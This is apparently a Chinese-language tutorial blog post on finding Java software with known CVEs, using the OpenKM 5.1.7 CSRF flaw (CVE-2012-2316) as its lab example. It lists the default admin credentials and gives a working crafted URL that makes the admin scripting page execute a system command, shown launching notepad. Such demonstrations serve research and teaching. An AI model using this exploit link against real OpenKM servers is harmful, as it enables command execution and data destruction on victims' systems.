
本文共 1434 字,大约阅读时间需要 4 分钟。
这段时间由于实验和演示的需求,需要找一些已知的漏洞(最好有CVE编号)的Java软件。之前也做过很多这样的工作,特别是找过很多PHP的CVE漏洞。这次把基本的方法总结一下,也方便其他童鞋。
如果知道软件的名字,可以直接在这里搜索:,就我个人体会而言,nist的搜索速度比CVE快很多。接下来以我们之前的一个研究对象,OpenKM为例来说明。按名字搜索之后,可以看到OpenKM有3个有CVE编号的漏洞,其中两个还是12年9月份发现的。最新的一个CVE-2012-2316的解释里,说明了OpenKM 5.1.7版本有跨站请求伪造(Cross-site request forgery,CSRF)漏洞。
所以,我们在这里: 选择OpenKM的5.1.7版本下载,这个版本是基于JBOSS的,我之前压根就没有用过,不过其实和Tomcat,WebLogic相比,基本原理都差不多。将压缩包解压后,发现这个目录下:OpenKM-5.1.7_JBoss-4.2.3.GA\jboss-4.2.3.GA\bin 有“run.bat”(我们这里还是以Windows系统为例)。随便搜索一下,就可以发现很多介绍OpenKM安装和使用的文档,如 和 这两篇文档中介绍到,启动run.bat后,在本地登录:,管理员的用户名密码分别为:user: okmAdmin password: admin,尝试以后发现可以登录。(实际上大部分Web系统还是需要简单配置一下数据库之类的,但是也有很多系统为了演示方便,直接使用内存数据库,所以直接启动就可以使用。)
可以以管理员登录之后,我们来看看怎么利用这个漏洞:
在这个页面中: 实际上会给出许多参考资料的URL,而且实际上,基本上所有对漏洞详细介绍的内容,都会出现在邮件列表archive中。我们以第一个URL为例: 这里面没有什么对漏洞详细的介绍,但是给出了邮件列表存档的链接地址,一般这类信息都是最有用的。我们选择第一个邮件列表存档的地址: 进去以后仔细读一下,一般就能知道怎么利用了。
这个漏洞尤其简单,感兴趣的朋友可以试试:启动上面说的:run.bat之后,在 中输入刚才说的管理员用户名密码,然后,我们假设这样一个场景,一个朋友给你发过来一个链接,或者你收到一封邮件,里面有一个看起来没有什么恶意的URL,例如: ,但实际上这个链接已经被我改成了:
http://localhost:8080/OpenKM/admin/scripting.jsp?script=String+cmd+%3D+new+String%28"cmd+%2Fk+start+notepad"%29%3B+Runtime.getRuntime%28%29.exec%28cmd%29%3B
你如果点击以后,就会跳出来记事本!也就是说,黑客可以用这段链接实现几乎所有你这位管理员可以进行的操作(甚至可以删除文件、增加用户,truncate数据库),这就是跨站请求伪造的危害。上面URL的后面一部分实际上是这个代码:
String cmd = new String("cmd /k start notepad"); Runtime.getRuntime().exec(cmd);
至于代码转URL,有很多种方法,如果手头没有工具,可以直接把这段代码放到百度搜索框里,结果页面URL就包含了上面那一部分啦。
这些就是一些基本经验和方法,希望能对其他童鞋起到帮助作用。
发表评论
最新留言
关于作者
